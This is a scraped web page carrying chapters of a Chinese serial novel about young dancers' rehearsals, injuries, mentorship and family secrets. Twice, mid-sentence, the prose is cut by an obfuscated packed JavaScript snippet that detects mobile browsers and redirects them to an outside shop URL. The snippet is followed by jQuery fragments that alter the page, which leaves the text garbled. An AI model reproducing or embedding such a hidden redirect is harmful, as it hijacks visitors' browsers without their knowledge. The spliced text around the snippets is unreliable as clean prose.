他很难形容出那是什么感觉。重新振作起来的爸爸很熟悉,和他记忆中的一样。微曲的头发依旧是刚刚好够长在头后扎一个小揪揪,他会系着围裙在厨房岛台上有条不紊的做着甜点,会整日扎在画室里,认真创作的样子和煦又从容。 可他记忆里也有另一个爸爸……蓬乱的头发总是会遮住半张脸,看不清从前会藏着笑的眉眼;疏于打理的胡子几乎连成络腮,有时挂着湿湿的酒迹。终日里是拎着酒壶一蹶不振的模样,有时倒在床边的地毯上,有时干脆横在沙发前的地上。偶尔回家的他会趁着爸爸熟睡时用毛巾帮他擦洗,又时刻害怕着他会不会忽然清醒便又要激动地赶走他。 林晓希极轻极轻地深深吸进一口气,悄悄平复着莫名难过起来的心情。明明都是爸爸,可又好像是截然不同的两个人…… 过去的一个月,有多少次,只要他一闭上眼睛,两个身影就不停地在眼前闪过,它们纠缠着撕扯着反复交替着,却始终没办法完美地重叠…… 有时候,他忍不住想,自己好像是突然踏上了平行时空的分岔路,浑浑噩噩方才踏回正确的轨道;又好像是,做了一场又长又痛苦的噩梦。一觉醒来,好像什么都没有变,却没有人知道他经历了什么。 “爸……”也不知道过了多久,他忍不住轻轻唤了一声。 “还没睡?”林暮青陡然从思绪中被拉扯出来,第一时间回应着儿子。 黑暗中,自己的手被人紧紧握住,那掌心仿佛炙热的温度一点点渗进他的皮肤中。林暮青怔了片刻,几乎是有些僵硬地伸出另一只手盖在了儿子手上。身下的床垫微微有些抖动,被窗帘遮去大半的月光里,他能看到身侧的孩子缓缓翻了个身。接着,有什么轻轻顶在自己手臂上,暖暖的,有些痒。连日来一直拘在胸口的那些让他又酸又疼化不开的浓雾,好像突然渐渐散开,融成一股股暖流冲了上来,让他在这个仲夏的午夜,热泪盈眶。 胸口沉重地起伏了几下,林暮青微微仰起头,用力咽下汹涌不停的情绪。他伸出手,摸索着拨开肩头儿子额前的碎发,掌心在他瘦削的小脸上极温柔地爱抚着。 “睡吧。” —————————————————————— 舞院向来不成文的规定——”轻伤不下火线“,哪怕腿断了,也得拄着拐来“看课”。陶乐钦这样的”小伤“,自然更没有旷课的理由。 下午最后一节依旧是大一必修的思政课。陶乐钦百无聊赖地坐在教室最后排,塞着耳机看着昨天排练的录像。他受伤之后,张凡和何家齐就调整了排练的时间表,尽量把不需要他的片段往前提。即便是这样,陶乐钦还是每场排练都会准时到场:平时他根本没有这么多时间和机会可以全心观察舞剧的制作和排演,对他来说,是难得能获益良多的时候。 孔爵和萧泽已经代表了目前国内的最高水平,每次看他们的排练,自己都是一边讶异一边佩服。他们如何去理解一部作品,如何去理解编导的意图,如何表达,如何展现,甚至如何在不改变精神的情况下去创新,这都是他在别处很难学到的。 下课铃声终于响起,老师颇为识趣的从不拖堂。陶乐钦慢吞吞地关掉视频收好书包,等着教室里的人都走的七七八八才撑着书桌站起来,一点点朝教室外走去。思政课的教室在五楼,他一边暗暗吐槽一边扶着把手单脚蹦下了楼梯。他这个伤有几天了,好在确实和估计的一样不太严重,恢复的速度也还算乐观。 舞团和舞校虽说都是在首舞的地盘上,可一个在这侧一个在那侧,就是没病没灾地走起来,也要二十分钟。陶乐钦撑着腰,一瘸一拐地在林荫小路上走,没一会儿,身上已经浮了一层薄汗。他捋了把汗湿的头发,懒得理路人时不时的打量。手臂却突然被人拽住,劲儿不小,吓了他一跳。他转过头,果不其然地见到孔爵的一张黑脸,“柱个拐能死?” 能。 他毫不客气地腹诽,却到底什么也没说出口。这几天,孔爵待他挺好的。虽说一贯是没什么好气,可他也不是不知好歹的人——孔爵带着他去看自己相熟的医生,帮他买药上药,还……哎,准备了那个拐……不管是为了舞剧还是什么,孔爵对他的伤是真的挺上心的。 “都已经好几天了,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239569|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用什么……”陶乐钦随口搪塞了一句。孔爵的大手钳子一样攥着他胳膊,架着他一点都不舒服。他环着手臂挣了几下,意料之中的没有甩开。身旁孔爵不耐烦地“啧”了一声,“好好走!之前那惜命的劲儿哪去了!” 这一声不大,可在幽静的小路上还是引得路过的人纷纷侧目。陶乐钦好面子,这会儿更是懒得和他争辩,只闷头朝前走去。 舞团的排练室外,陶乐钦斜着仰靠在墙边,大口匀着气,望向孔爵的眼神里几乎带出刀子来。今天临时改在四楼排练,明明有电梯,孔爵却是硬拽着他让他一口气单脚蹦上来的。 “你有意思没意思?”陶乐钦舔了舔发干的嘴唇,趁着呼吸的间隙甩出这么一句。孔爵不置可否又极为欠揍地撇撇嘴,在他一番反抗下终于松开了手。手臂被他捏了一路的地方仍然隐隐作痛,喉咙干地忍不住咳了两声。陶乐钦撑着门框站直了身体,喘匀了几口气,伸手推门进去了。 “小陶来了?今天伤怎么样?”房间里只有何家齐到了。 陶乐钦笑着与他点点头,“好很多了。谢谢。”他照例从包里掏出个三脚架,有些费力地支在镜子前面。孔爵才磨磨蹭蹭地走进屋,不经意地挑挑眉,倒是不知道他那个背包里装了这么重的东西。 “这回头放我这儿吧,排练我给你带着。你脚还伤着,背来背去太重了。”何家齐帮着陶乐钦摆好三脚架的位置,打眼看见他一头的汗,颇有些不好意思。前几天排练室固定的时候陶乐钦就将三脚架留在房间里。这几天舞团要用,他们排练的地方换来换去,他就只能一直背着。 “没事,不重。”陶乐钦在肩头上蹭下要流进眼睛的汗,认真地调试相机,“等下还是麻烦你帮我按下开始。” “放心吧我会弄。” “嗯”,陶乐钦点点头,露出几乎是格外柔和的微笑,与传言中的嚣张跋扈颇有些不符,“谢了”。 人还没到齐,陶乐钦兀自拎着背包一瘸一拐地走到房间角落。努力挤出来的时间难得,他虽然不能跳,也不能干看着。所以这几天排练,他就守在角落里自己练练体能练练素质,顺便认真看大家的排练。 陶乐钦原地活动了下关节,便俯下身把双脚都架在了滚轴上。他脚踝上有伤,只能调整位置担着脚腕往上一点的位置,微妙的受力点让支撑更加困难。陶乐钦拿过手机放到双臂撑起的一小块空间中,秒表上次记录的时间是三分三十二秒。他深深呼吸一次,收紧腰腹稳稳地撑起身体,忍不住在心中默念,三分四十五秒,是今天要达到的底线。 一分钟。方才还没来得及散去的汗又渐渐在额头续了起来。陶乐钦调整了下呼吸,绷紧身体,一点点把右腿从身侧举了上来。原本还稳稳当当的双臂与腰腹因为这一个动作而不自觉的颤抖起来。陶乐钦一边对抗着想要屏气的生物本能一边调动着全身的力量把腿尽力向上提。 原本要用来支撑四分钟的“能量条”仿佛在开头就跑完了大半。陶乐钦埋下头,努力维持着并不容易的体态,目光扫过面前不断跳动的秒表,时间却将将走过十五秒。 这才是目标的三分之一而已。 四十、四十一、四十二……难捱的时候,数数是唯一的方式:努力被分成微小的等份,每完成一份,就坚持着向下一份迈进。陶乐钦尽力忽略在不断的抖动下渐渐有些抽筋的大腿肌肉,直忍着数过五十,才咬着牙有控制地把腿收回。 他偷偷呼了口气,整个核心区因为超负荷的运转而灼热地燃烧起来,此时,哪怕是双腿都能借力地这一小点“恩惠”也显得十分重要。汗已经从额间一滴滴砸下来,落在手机屏幕上、手旁的地上,汇聚成斑斑点点的几滩。 陶乐钦甩了甩头,晃掉鼻尖上让他有些发痒的汗滴,调整了几个呼吸,缓缓将另一侧腿举了上来。本就已经疲惫不堪的肌群向更深处收紧,灼烧的感觉愈演愈烈。于是左腿还不曾如自己要求般碰到手臂,他整个人已经不自觉的抖动起来。腿下的滚轴随着身体的抖动不受控地来回滚动,陶乐钦忽然心里一紧。果然,下一秒滚轴向远飘开,直接硌上了脚腕。 崴伤的地方突然一酸,陶乐钦一个不防,人直接就跌了下来,膝盖砰的一声砸在了地上。 房间里好像有短暂的空白。陶乐钦撑着地翻过身,余光里能看到两双目光投射了过来。 “没事吧?”何家齐担忧地问了一声。陶乐钦摇了摇头,费力地站起身,把飘远了的滚轴拽了回来。 双膝再次跪在地上,滚轴依旧垫在脚下。陶乐钦抹了把汗伏下身,把按下重置键地手机重新放到地上。双肘撑着地面再次摆好标准的平板支撑姿势的瞬间,刚刚才被折腾过的腹肌毫不留情地“肆虐”起来。他紧紧咬着牙根,固执地再次定下三分四十五秒的目标。 身体不受控地微微抖动中,似是有人走了过来。陶乐钦极为防备地朝旁边瞟了一眼,有限的视野里只能看到一个膝盖的高度,他知道是孔爵。身后窸窸窣窣地响了一阵,接着是”砰砰“两声极清晰的落在身后,紧接着好像有什么东西被踢到脚下。陶乐钦下意识地想回头看,滚轴也因为他的动作再次有些晃动,却只微微挪了一下就好像撞到什么而稳稳停住。 陶乐钦舔了舔嘴唇,心底泛起一丝复杂的情绪。他不用回头也猜到了,是孔爵扔了两个沙袋帮他把滚轴抵住了。 72. 第67章 67 “家齐。” 排练间隙,孔爵喊着家齐,朝他偏偏头使了个眼色。何家齐顺着看过去,立刻会意,起身两三步跑过去了。 这几天小陶一直自己在旁边练,孔学长出乎意料地很上心,有空就亲自过去盯一盯。只是他毕竟是舞剧主演,排练时长是别人的双倍,抽不开身的时候就便叫他过去帮帮忙。 陶乐钦自己耗了有一会儿了。后腿膝盖下垫着三层垫子,前面大概是顾及受伤的脚踝,也垫着瑜伽垫。看着何家齐过来,只扁着嘴,勉为其难地挤出个笑容。 “来吧小师弟,我又来了。” 何家齐今年刚从编导系毕业,班主任刚好转回头带陶乐钦他们这届大一,细算起来,还真是正经八百的“师兄”。 陶乐钦撑着地正了正姿势,何家齐长腿一跨,熟门熟路地在他身后坐下。陡然压上来的重量让人瞬间就矮下去一截,饶是陶乐钦已经做足了心理准备也不禁一口气梗在喉咙里。 ”别憋着啊,放松。”何家齐捞起他手臂搭在自己膝头,逐渐把重心都挪到了他后腿上。能感觉得出来小陶自己在尽力放松,人也一点点沉下去了。他歪头往下瞥了眼,“这不挺好的。昨天还差一大截呢,今天我看能贴地了。” 这话听在耳朵里,让本来就控制不住双腿微微发抖的陶乐钦心尖又颤了颤。他故作镇定地对抗着胯间疯狂的撕扯,汗湿的脸几乎要埋进胸口去。 “来,抬头看。” 何家齐搂着他下颌逼着他抬起头来,陶乐钦嫌弃地甩了甩头想要躲开。这个何家齐哪儿都挺好的,就是总拿他小孩儿的劲儿特别烦! 嗐,就是个小别扭精。何家齐丝毫不以为意地抽回手,偷笑的气息几乎都喷在陶乐钦的头顶,惹得人又是一阵扭头躲闪。他也忙不迭地认输,“好好好,我不动你。那你腰立直了,不然一会儿我挨骂啊。” 回应他的,自然是意料之中的沉默。可下一秒,眼前人的肩背倒确是悄悄拔直了些。何家齐忍不住笑着摇摇头,拨开他下意识架在自己膝头借力的手臂、把目光又放回了房间中央。 “师兄!” 身后的人突然出声,把陶乐钦吓了一跳。 “刚那个错身能不能慢一点。我想你和孔学长在错身的时候有个对视,给观众看到一点。” 房间中的目光都直直朝这边投射过来。陶乐钦明知道他们都在看何家齐,可——可又怎么能不看到自己。他生硬地别过头,好像被”公开处刑”般羞耻,心里不禁愤恨地把何家齐骂了一百遍。 萧泽和孔爵把这个旋转中的错身又跳了两遍。 “嗯……师兄的对视再长一点点。” “孔学长不要给这么长,眼神要躲闪一点。” “你们两个人,一个在试图说服,一个在犹豫,这个情绪要把握好。” 舞剧的舞台上,”眼神“似乎远在观众能捕捉到的细节之外。只是舞者其实和演员一样,只有把自己从身到心地装进角色,每个眼神、每个指尖都带着情绪,才能够准确地把情感传达给观众。 短短四拍的动作,被家齐和张凡两个人抠了二十分钟。陶乐钦看着已经大汗淋漓却仍然认真听编导讲戏的孔爵和萧泽——这样高频率的调整和重复下,两人从始至终没有流露出一丝一毫的不耐烦——他心底不由得升腾起一丝别样的情感: 信服。 是。他想了想,不得不承认这两个字。来了首都之后,他和孔爵之间发生了太多事情,以至于他几乎忘了,第一次知道代表中国顶尖舞者的孔爵和萧泽时,心里对他们是怎样的欣赏和赞叹。 ”这一段差不多了,歇会儿吧。“ 张凡终于发话,演员们才散到旁边休息。只是无论喝水擦汗还是歇着,你一言我一语,围成一圈,讨论的都还是舞剧。 孔爵去更衣室洗了把脸,脖子上挂着毛巾朝房间这侧走过来。迷你瓶的矿泉水,他俩口就喝个干净。 ”几天了,还下不去?“ 孔爵拿着空矿泉水瓶在何家齐头上敲了两下,”我让你过来陪他度假的啊。“ 这个人嘴里,就说不出一句好话。 自孔爵走过来陶乐钦就一直目不斜视地盯着脚尖不看他,听了这话,更是翻着眼睛别过头去。孔爵瞟了他一眼,全当没看见。 ”哎呀,这不是伤着吗。我想着悠着点儿。“ 何家齐插科打诨地揉着头,方才学长敲那一下还真有点疼。 “拿着。”孔爵挑了挑下巴,把矿泉水瓶递他。“诶。” 家齐答应着麻利地站起身把地方让出来了。孔爵也没坐下,只一只手压着陶乐钦肩膀,脚直接搭上了他后腿腿根踩了下去。 这个角度不容易,孔爵几乎大半个人的重量都挪上来,才将将让他贴在地上。陶乐钦哑着嗓子闷哼了一声,语声里都打着颤。他实在忍不过,双手不自觉撑在地上,却到底拗不过孔爵压在他肩头沉重的力道。 “再动。想全屋都看着你是吗?” 孔爵声音不大,可每一句都像搓火的石头一样往他心口上戳。陶乐钦被他怼得一肚子火,却只能死死咬着嘴唇,半个字都说不出来。哪怕是为了争一口气,他也得拼命控制着自己,生怕一张口,就忍不住喊疼露了怯。 “你也就这点能耐。” 又是冷冷的一句甩在耳边。 陶乐钦埋着头,什么也没说,只是牙齿用力地几乎要把嘴唇咬出血来。良久,少年的喉结轻轻滑动了下,才终于下定决心般收回双手、交叠着撑在膝上,把自己完完全全地交了出去。孔爵不惯着他,整个人踩上来,将人实实在在贴在了地上,意料之中地感到手心下的一阵震动。 陶乐钦紧紧闭住双眼,只觉得胸口突然涌起一股难耐的热流直冲上头顶,激的他眼圈发热。 从他崴脚到今天也不过几天而已。他哪一天不是拖着伤校园和舞团两头跑;哪一天不是和大家一样泡在排练厅里。哪怕腿不方便,素质、能力、软开,能练的哪样没有尽力练过,运动量比平时也几乎只有多没有少。昨天何家齐给他撕腿撕的狠了,今天才有意留着余地,他孔爵什么都不知道,他凭什么冷嘲热讽,凭什么—— 神崎老师那里出来的孩子,没有谁敢把辛苦当成功劳挂在嘴边,可陶乐钦也不知道自己怎么了,被这突入起来的情绪打得措手不及…… 他慌乱地低下头,努力压下越想忽略越是泛滥的情绪。他根本不知道,这比和孔爵吵架、比输掉比赛更难受的滋味,叫作委屈。 晚间九点半,今天的排练终于结束。虽然已经向学校那边替陶乐钦申请了回寝时间,张凡和家齐还是尽量不拖到太晚。 “我送你”,今天孔爵没开车,萧泽指着他,目光又向陶乐钦看去。何家齐已经抢过陶乐钦的背包挂在自己身上了,“师兄放心,我们送他。” “嗯。” 萧泽点点头,“那我们有事,先走了。” 他记得孔爵今天要去看思思的。 两人一路往附中方向跑过去。宿舍十点关门,再晚点怕思思就白等了。 “这边”,明明要直走的路,孔爵却拉着萧泽指向另一边。萧泽跟着他跑过去,不远处的树荫旁,正是分隔舞团和附中的一段栏杆。再走近了看,思思果然正等在栏杆另一侧。 “等好久了吧。” 孔爵远远看见他小手不停赶着蚊子,语气里带着浅浅的自责。 “萧学长好。” 思思惊喜地凑到栏杆前和两人打招呼,孔爵一伸手就能摸到他头。“没有啦。我刚在旁边转悠,你说快到了我才过来。” 少年咧着嘴和老师说着自己的“机灵”,一笑起来眼睛亮亮的。 孔爵借着路灯打量着两周没见的孩子,隔着栏杆拎起他细细的胳膊。上面赫然两个新叮的蚊子包,看得他语声不自觉都温柔下来,“这两周怎么样,学校累不累?” “还好的”,思思抽回手臂缩在身后,“老师排舞剧累不累?” “我都挺好,你担心你自己吧!期中考试要是没进步,自己看着办!” 孔爵刻意虎着脸吓他,却是从兜里掏出一小包话梅来。”给。” 思思好吃零食,尤其喜欢这种话梅。孔爵平时管的严,极少允许他吃这些,今天想着来看孩子不能空手,才特意选了样他喜欢的。 这……老师不喜欢他吃这个的。思思盯着递过来的东西发愣,犹豫着没有接。萧泽看在眼里,只觉得这孩子乖得让人心都软成一片,便直接拿过来给他塞到了怀里。 “你老师亲自买的,还怕什么。” 思思一愣,搂在东西在怀里抬眼去找孔爵,眼神像是小仓鼠般小心翼翼地藏着喜悦。孔爵实在无奈地叹了口气,重重点了下头,才见他才终于好像心安理得地把小包又搂得紧了些,“谢谢老师!” “这周末回家吗?” “可能……我们室友过生日。说好了要一起帮他庆祝下。” “应该的。” 孔爵乐见他多和同学出去玩,“出去要注意安全。那下周再接你回家。” “嗯!” ”钱够花吗?“ 思思立刻点头如捣蒜,”够的够的,我饭卡上的钱都吃不完。“ 思思父母人在国外打工,虽然定期都会给孩子账户里转钱,孔爵却还是坚持包办了他平日里大半的花销。不过他在附中的确也没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239570|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么花钱的地方,给他充了饭卡,买了舞鞋,再要塞零花钱思思就说什么也不肯要了。 “行了”,眼看十点了,孔爵看看表,不能三个人再继续喂蚊子,“快回去吧,回寝室别晚了。” “嗯……” 思思点点头,人却不见动,显然是舍不得。只是回寝室晚了要扣班级分的,他也不敢耽搁。 “那……老师再见,萧学长再见。” 萧泽和孔爵一齐点点头,看着他一步三回头,直到黑乎乎地什么也再看不清小家伙才一溜烟地朝寝室跑去。 “这好好的师生相见,非得隔着栏杆,让你弄的像探监似的……。” 回去路上,萧泽忍不住笑他。孔爵嫌弃地瞪了他一眼,”这不是,我们排练结束的晚。绕到附中本来就费时间,那么晚了保安也肯定不让我们进。我想着那个地方最合适嘛……叫你这么一说——“ 孔爵咂摸了片刻,终于忍不住困惑地皱着眉头笑,”是有点像哈。“ ——————————————————————————— 已经几近凌晨一点,小区路尽头萧家的别墅里还亮着灯。萧泽倚在主卧洗手间的柜橱旁,笔尖不停地在记事本上飞舞,叼着笔帽的嘴里还念念有词。”浴巾……两套……洗发水、沐浴露。哦——” 他关上橱门又掀开洗手台边镜子后的小柜子,继续在飞快地本子上记录着,”牙膏……牙刷(电动?松下/飞利浦?)“ 笔尖在纸上点了点,萧泽努力回忆着父母惯用的牙刷牌子,房子门禁的警报却突然滴滴响了两声。他心底不由得一凛,连忙悄声跑到二楼挑空的扶手旁,打眼看见是彦霖进来才暗暗舒了口气。 ”几点了?”钟彦霖就站在门口望着二层的萧泽,对爱人一贯温柔的语气里带着丝丝埋怨。萧泽飞速瞟了眼墙上的钟,又忽然想起什么似的拔出身后口袋里的手机,上面赫然列着三条还未读的信息…… “想着你有应酬,要很晚才结束么。” 萧泽抿着嘴快步下楼来,却在楼梯一半就被彦霖迎住了。钟彦霖一把把他拢在怀里,语气却比方才凶了,“这么晚了你自己在这儿,一点也不害怕是吧。” 萧泽理亏,由着自己被他揽得要微微踮起脚,“就隔着一趟房子,而且都是小区里,没事儿的……” 这是萧家之前一直住的房子。前些年搬过来的时候,董勤勤特别喜欢这个小区,就在近邻的一排给彦霖也买了一幢,说是存着以后给他当婚房用的。可后来因为两个孩子恋爱的事情,父子间闹着不可开交。董勤勤想着本也离得不远,就让彦霖和萧泽先搬过来缓一阵。 只是没想到萧父的气性这么大,后来直接出国了事,这三年都没回来,彦霖和萧泽便一直在新房住下了。这几年,老房子这边一直没缺了人打扫,可毕竟久不住人了,好多东西都不全。他晚上睡不着,怕爸妈一落地就缺东少西,才半夜摸过来整理。 “你啊……不是说想让萧叔和婶婶去我们那边住吗?” 彦霖到底对萧泽生不起气来,拉着他在楼梯上坐下,随手拿过他一直捏在手里的本子看了看,“这些事叫小荣阿姨过来弄就好了,你不放心她,不还有我呢吗。嫌自己还不够忙?” 萧泽靠在彦霖肩头,一时没有回答。半晌,才轻轻念叨了一句,“你就不忙吗……” 运营那么大一家企业哪里是轻松的工作,他更舍不得爱人来做这些琐事。 “听修平说,你要出差。”修平是彦霖的总助,联系不上彦霖时,萧泽偶尔会找他。 一直轻轻摩挲自己胳膊的手似是顿了顿,“嗯……对不起啊,估计会和叔叔婶婶回来的时间撞上。到时我和你一起去接他们,只是可能没多久,我就得飞———” “我决定让爸妈回来这边住,是想省去一些麻烦。” 萧泽好像没听见彦霖的话一般,自顾自地说起来。“我们那边的房间,怎么也不如爸妈自己房子的主卧住着舒服。而且到了晚上,我们要怎么住?你和我一起回房间,爸怕是要气的睡不好。可你和我分房睡,爸就不想了吗?在他眼里反而是欲盖弥彰。 ” 萧泽轻轻叹了口气,“所以我想来想去,还是让他们回来住吧,爸他眼不见心不烦。我们白天多过来陪着就好了。” 彦霖静静听着萧泽说,手指与他纤细的指尖交缠相扣,心底说不出的又酸又暖。他心里想什么,萧泽一直都明白的,所以才替他做了这个决定。他不禁歪头打量着靠在自己肩头的情人……萧泽不知什么时候闭上了眼睛,不甚浓密却纤长的睫毛不经意地轻轻抖着,投在脸颊上的阴影也跟着微微摇晃。 ”爸妈难得回来一趟,你不要出差,好不好?“ 73. 68 小情侣见面了! ”轻一点。“ 萧泽悄声推开门,回头小声嘱咐彦霖。已经一点多了,他们没开灯,就在门口摸着黑换鞋。 彦霖的心情在新一天的凌晨突然变得不错。这两年他和萧泽都忙,日子过得中规中矩。想想上次两个人一起出去、半夜牵着手回来,好像已经是萧泽大学时期的事了。他三两下先换好鞋,然后突然转身,一个弯腰就把萧泽打横抱起来。 “喂!” 萧泽被吓了一跳,压着气音喊他。他右脚的鞋带刚刚解开,还没来得及脱。 钟彦霖紧着手臂不给轻轻挣扎的情人下来。”用脚。“ 萧泽皱起眉,拗不过他,只得抿着嘴角,左脚在右脚鞋跟上轻轻一拨,鞋子”啪“的一声掉到地上。 ”这不得了。“ 彦霖满意地抱着悠了半圈,大步朝楼梯口走去 。 方才在旧房子那边,萧泽枕在彦霖肩头几乎睡着。彦霖心疼他这一阵一直睡得不好,难得有了困头,便想着抱他回来。只是他们小心惯了,说到底是在小区里,就算已经大半夜了,也不要冒这个险。这些年都是如此,彦霖心里明白,却也多少觉得有些无奈。 好在这会儿——他抱着终于肯老老实实呆在他怀里的萧泽,语气里带着隐隐的得意,”在自己家,都睡了,也没别人,行了吧。“ “哥,你们回来啦…” 话还没落地……刚迈上二楼,就看见彦承正从楼上下来,在楼梯口探着个小脑袋。钟彦霖气不打一处来。 萧泽倏地蹦下来,可回头看着爱人瞬间黑成锅底的脸色,不禁别过头偷笑。 ”还不睡!“ 钟彦霖扬起眉毛,张嘴就要凶弟弟。只是打眼看见他穿着个小背心迷迷糊糊的样子,想着自己这几天一直早出晚归,都没怎么见到他——话再出口到底软了下来。“明天该起不来了。” 彦承挠挠头,含含糊糊地答应,”……没事儿。“ 萧泽看着他欲言又止的样子,”找我们有事?“ ”嗯……“ 萧泽揽着彦承进屋,和他两个人盘着腿坐在沙发上,彦霖也搬了床边的小榻子过来。”怎么了啊,这么大阵仗。” “嗯———” 彦承犹豫着,不知道怎么开口。他原本觉得这不是个什么大不了的事,可看着眼前分外认真的哥哥们,一时反倒有些紧张。 ”我就是在想……我跳舞的事……可不可以不和叔叔婶婶说?“ 萧泽微微一愣,没想到承儿说的是这个事。他忍不住偏头和彦霖对视了一眼。他当然有想过,父亲母亲回来,看到承儿要考舞校会是什么样的态度………想来也是不会太开心的,可,”这不是能瞒住的事情,也不该为了这种事说谎。“ ”说谎是不应该,我知道。但——“ 承儿声音忍不住低下去,”我就是希望他们回来能开开心心的。我不想…再添别的事。这个不是,善意的谎言嘛……“ 毕竟这个舞,是他硬要学的。 ”分分钟露馅的事情,哪还有什么善意不善意。“ 彦霖伸手点点弟弟的额头。”头脑简单。你现在休学每天在家里练功上课,等到叔叔婶婶回来了,你白天去哪儿’上学‘?“ 彦承瞄着萧泽,小声说,”我跟着萧泽哥去团里,随便给我块地方我自己练,肯定不捣乱。而且以前,不也是总去吗……“ ”那文化课呢,让老师去哪儿教你?“ ”去哥哥公司。哥哥公司比我们家离学校还近呢……“ 彦霖语气立时严肃起来,”老师们肯来教都是难得的事情,你说改就改,有没有点尊重?况且,你大半的课都是晚饭后的,难道叫我和叔叔婶婶说你跟不上学校功课要补习?拉着老师们跟你一起撒谎?你补习,叔叔婶婶信吗?“ 哥哥连珠炮似的问了一通,彦承垂着头,不做声。彦霖接着问他,”就算都给你瞒过去。12月考学怎么办?叔叔婶婶没说这次会呆多久,难道你在艺考前把他们撵回去?“ ”当然不是!“ 彦承猛地抬起头。他当然希望叔叔婶婶可以多待一阵,他们永远都不走了才好呢。可是……他不想因为自己的事再给哥哥们添麻烦。他当年是年纪小,可他也偷偷见过萧叔发了多大的脾气,哥哥和萧泽哥挨了多少顿打,婶婶……跟着留了多少眼泪。他能感受到,这次叔叔婶婶回来,哥哥们高兴之余又有多紧张。可以想见,等大家真的见了面,一定是硬装着没事,小心翼翼地粉饰太平。他不想自己这么件小事,打破久违的和谐。 萧泽皱着眉冲彦霖摇了摇头,矮下身,双肘撑在膝盖上。”承儿,你有没有意识到,只是单单你们说的这几件事,就意味着,我们还要一起说多少个谎才有可能圆过去?“ 彦承轻轻咬着嘴唇,他明白萧泽哥的意思。只是想着自己一片好心还被哥哥那样怼,不禁没好气地说,“哥哥方才问那么细,说明他也早早想过了!“ 萧泽用眼神止住正要”发作“的彦霖,轻笑着在承儿腿侧落了一巴掌,”找打是吧。” 承儿又包着嘴巴,不作声了。 “我想你应该明白我和你哥想说的意思。固然说谎有说谎的好处,但是不到万不得已的时候,不要去做。因为受到欺骗的人总会感到难过和气愤;最亲近的人,尤为如此。我知道,你是为了我们着想。可就像你想的那样——“ 萧泽忍不住自嘲地笑了,”我和你哥两个,已经是板上钉钉的’问题青年‘了。你叔叔回来,我们肯定是逃不过要挨骂的,难不成你还上赶着再帮我们送个人头?“ 是啊…… 总归是瞒不住的,好好交代还好,真的左遮右掩地再被拆穿,哥哥们才是又要多背一条错误。哎……彦承不禁叹了口气,看来这的确也不是最好的办法。”那好吧,那我走了。“ 他站起身,走到门口,又忍不住转回来,”那到时候,你们就说,是我硬要学,你们打死也拦不住。一五一十地说,添油加醋地说!就说——就说我自己办了退学,学校不给恢复了,你们也是没办法…… 叔叔婶婶最疼我了,我多撒几个娇就过去了,你们就只管往我头上推,到时候——“ ”好…好…知道了……” 彦霖推着小嘴叭叭的弟弟把他塞到门外,”快睡觉!“ 伴着门”砰“地一声被关上,彦霖才长舒了口气,一屁股坐到萧泽身边。这个孩子啊…… 身边半晌没有动静,彦霖偏过头,只见萧泽不知什么时候已经仰头靠在沙发上,望着天花板发呆。“怎么了?” “嗯?没什么。“ 萧泽把手搭进彦霖张开的掌心中,有一下没一下地拍着,”我就是突然觉得,我们’大人‘,是不是有时候也很…虚伪?” 彦霖有些不明所以。 “你看,我口口声声教育着承儿不要说没有必要的谎,可有些事,我们提都没有提。” 彦霖微微愣了下,听明白了萧泽意思。他不禁收紧手指,和爱人十指相扣。“你也说了,不说’没有必要‘的谎。可晓希和承儿的事……说真的,你我都知道,叔叔婶婶经不起再来一次,我们也经不起了。” 萧泽的手不禁颤了颤。 彦霖接着说,“两个孩子年纪还小,他们的事也还有变数。说远点,真到他们坚定了心思的那天,我们是该亲自上门和林爸爸说明情况。也要……一五一十和叔叔婶婶说的。到时候,有什么事,我们俩一起顶着。” ————————————————— 刘茹佳捏着细细的教鞭站在把杆前,看着眼前人后腿才刚搬上去就晃得蹭了两步,眉间不悦地皱起来。“晃?下来,重来。” 林晓希放腿下来,忍不住舔了下嘴唇。他专业分数再高,也不是没有短板的人。入校的时候,后腿在前几名的男孩子里的确不算拔尖。可到底也是同龄人里的佼佼者,现在被老师提溜出这种低级错误,他光是想想脸上也发烧。 林晓希重新架了个山膀,深吸一口气,右腿擦过地面稳稳踢了上去。只是这一下没踢直,他下意识绷直膝盖,心里紧跟着就颤了一下。果不其然,大腿突然火辣辣地挨了一藤条,晓希双手牢牢抓着腿,不敢打晃。 “几岁了,嗯?第一天学?” 刘茹佳拿教鞭戳着他膝盖,“难不难看。再来!” 踢抓后腿的时候,要一步到位,不许先抓腿再蹬膝盖。老师们一直就是这么教的。哪怕不容易,标准也不能降低。 没什么可说的,再来。 第三次,总算一步到位,稳稳扎在了原地。刘茹佳走上前,调转教鞭捏在手心里,指尖轻轻扶着他肚子。“这儿提上去,气息往下沉。中间这么大地儿给谁留的。” 晓希听着话收紧手臂,有意识地往上延伸。“手,要么往上抓,要么多抱一点,我们暑假练什么了。” 这一个多月,萧泽和刘茹佳轮番盯着,没少在他腰上下功夫。软度的确比从前强了不少,刘 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晓希活动了下肩背,再次抱腿上来。刘茹佳这次有意晾着他,没有说话。他便只能在脑袋里一遍遍过着每个动作细节,尽力调整自己。舞蹈演员,练习的就是对身体的把控。看得到镜子的时候知道摆在哪儿,看不到镜子的时候也一样。 耗了快一分钟。晓希紧了紧手臂,却控制不住腰渐渐往下塌,脚下也渐渐不稳了。 “别晃了。” 刘茹佳终于开口,拿教鞭点了点他腰际。“知道问题了吗?” 